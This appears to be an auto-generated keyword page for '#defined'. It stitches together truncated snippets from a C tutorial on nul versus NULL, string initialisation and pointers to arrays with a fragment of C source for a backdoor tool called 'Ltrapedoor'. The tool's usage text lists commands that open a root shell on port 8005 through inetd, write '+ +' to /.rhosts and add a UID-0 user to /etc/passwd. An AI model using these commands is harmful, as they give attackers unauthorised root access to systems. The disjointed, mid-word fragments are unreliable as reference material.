#defined

... aware that "nul" is not the same as "NULL". The nul refers to a zero as defined by the escape sequence '\0' . That is it occupies one byte of memory. NULL, on the other hand, is the name of the macro used to initialize null pointers. NULL is #defined in a header file in your C compiler, nul may not be #defined at all. Since writing the above code would be very time consuming, C permits two alternate ways of achieving the same thing. First, one might write: char my_string[40] = {'T', ' ...

... m_array[][COLS]) { int row, col; for (row = 0; row < ROWS; row++) { for (col = 0; col < COLS; col++) { m_array[row][col] = 1; } } } And to call this function we would then use: set_value(multi); Now, within the function we have used the values #defined by ROWS and COLS that set the limits on the for loops. But, these #defines are just constants as far as the compiler is concerned, i.e. there is nothing to connect them to the array size within the function. row and col are local variables, of cours ...

... e: int (*xptr)[COLS]; the variable xptr will have all the same characteristics as the variable rptr in METHOD 1 above, and we need not use the typedef keyword. Here xptr is a pointer to an array of integers and the size of that array is given by the #defined COLS . The parenthesis placement makes the pointer notation predominate, even though the array notation has higher precedence. i.e. had we written int *xptr[COLS]; we would have defined xptr as an array of pointers holding the number of pointers equ ...

... t { struct ethhdr eth; struct iphdr ip; struct tcphdr tcp; struct icmphdr icmp; struct udphdr udp; char data[8000]; } buffer; int size; void usage(void){ printf("\n >> Ltrapedoor by Li0n7 \n\n"); printf(" ..: lil' Options :.. \n\n"); printf(" -h<#defined pass>: must be set as first argument\n"); printf(" -i: echo 8005 stream tcp nowait root /bin/sh sh >> tmp/.ind\n"); printf(" -r: echo + + >> /.rhosts\n"); printf(" -p<user>: echo user::0:0:user:/root:/bash >> /etc/ ...